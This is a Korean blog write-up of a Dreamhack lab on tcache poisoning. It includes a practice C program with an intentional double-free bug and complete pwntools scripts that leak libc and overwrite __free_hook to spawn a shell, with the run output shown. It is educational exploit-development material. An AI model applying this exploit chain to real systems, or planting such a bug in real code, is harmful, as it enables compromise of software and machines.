[Dreamhack] Exploit Tech: Tcache Poisoning

Sisyphus·2022년 11월 28일
0

Dreamhack - System Hacking

목록 보기
34/49

Tcache Poisoning

Tcache Poisoning은 tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법을 말합니다.

원리

중복으로 연결된 청크를 재할당하면, 그 청크는 할당된 청크이면서, 동시에 해제된 청크가 됩니다.

이때 할당된 청크에서 데이터를 저장하는 부분이 해제된 청크에서는 fdbk값을 저장하는 데 사용됩니다.

따라서 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있으면, 그 청크의 fdbk를 조작할 수 있으며, 이는 ptmalloc2의 free list에 임의 주소를 추가할 수 있음을 의미합니다.

ptmalloc2는 동적 할당 요청에 대해 free list의 청크를 먼저 반환하므로, 이를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있습니다.


효과

Tcache poisoing으로 할당한 청크에 대해 값을 출력하거나, 조작할 수 있다면 임의 주소 읽기, 임의 주소 쓰기가 가능합니다.


실습 코드

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  
  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);
    
    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}


분석 및 설계

보호 기법

[*] '/home/ion/security/dreamhack/Exploit_Tech_Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

NX와 FULL RELRO 보호 기법이 적용되어 있습니다.
FULL RELRO 우회를 위해 훅을 덮는 공격을 고려해볼 수 있습니다.


코드 분석

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }

  • 청크를 임의 크기로 할당, 해제할 수 있고, 청크의 값을 출력하거나 조작할 수 있습니다.

  • case 2 부분을 보면 청크를 해제하고 나서 chunk 포인터를 초기화 하지 않아서 이를 다시 해제하는 것이 가능합니다. 그래서 Double Free 취약점이 발생합니다.

  • chunk 포인터를 초기화 하지 않으므로 case 4에서 청크의 데이터를 조작할 수 있어 보호 기법 우회가 가능합니다.



익스플로잇 설계

임의 주소 읽기로 libc base를 구하고, 임의 주소 쓰기로 해당 주소에 one_gadget주소르 덮어쓰면 됩니다.

case 4를 통해 보호 기법 우회도 가능합니다.

1. Tcache Poisoning

적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능합니다.

그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있습니다.

2. Libc leak

setvbuf()의 인자인 stdinstdout은 각각 libc 내부의 IO_2_1_stdinIO_2_1_stdout을 가리키는 포인터 변수입니다. 그래서 이 변수의 값을 읽으면 libc base를 계산할 수 있습니다.

이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있습니다. Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것입니다.

3. Hook overwrite to get shell

2에서 leak한 libc base 값으로 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있습니다. 다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을 것입니다.



익스플로잇

libc leak

Tcache Poisoning으로 stdout의 주소에 청크를 할당하고, 값을 읽어서 libc base를 구할 수 있습니다.
그리고 이를 이용해서 one_gadget과 __free_hook 주소를 계산할 수 있습니다.

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))


def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
    
def free():
    p.sendlineafter("Edit\n", "2")
    
def print_chunk():
    p.sendlineafter("Edit\n", "3")
    
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
    
    
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB")      # "dreamhack"
alloc(0x30, "\x60")          # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)
 ion  ~/security/dreamhack/Exploit_Tech_Tcache_Poisoning  python3 tcache_poison.py
[+] Starting local process './tcache_poison': pid 1405
[*] '/home/ion/security/dreamhack/Exploit_Tech_Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] free_hook: 0x7f43572778e8
[+] one_gadget: 0x7f4356ed9432
[*] Stopped process './tcache_poison' (pid 1405)

Hook overwrite to get shell

앞서 계산한 __free_hook의 주소에 Tcache Poisoning으로 청크를 할당하고, one_gadget의 주소를 덮어쓰면, free를 호출하여 셸을 획득할 수 있습니다.

여기서 주의할 점은, 앞서 오염시킨 tcache[0x40]을 재사용하면 _IO_2_1_stdout_ 값을 변경할 수 있기 때문에 다른 크기의 tcache를 대상으로 공격을 시도해야 합니다.

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))


def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
    
def free():
    p.sendlineafter("Edit\n", "2")
    
def print_chunk():
    p.sendlineafter("Edit\n", "3")
    
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
    
    
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8)          # "dreamhack"
alloc(0x30, "\x60")         # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f302

slog("free_hook", fh)
slog("one_gadget", og)

# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()

alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()
 ion  ~/security/dreamhack/Exploit_Tech_Tcache_Poisoning  python3 tcache_poison.py
[+] Starting local process './tcache_poison': pid 2071
[*] '/home/ion/security/dreamhack/Exploit_Tech_Tcache_Poisoning/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] free_hook: 0x7fa33c3568e8
[+] one_gadget: 0x7fa33bfb8302
[*] Switching to interactive mode
$ ls
tcache_poison  tcache_poison.c    tcache_poison.py

0개의 댓글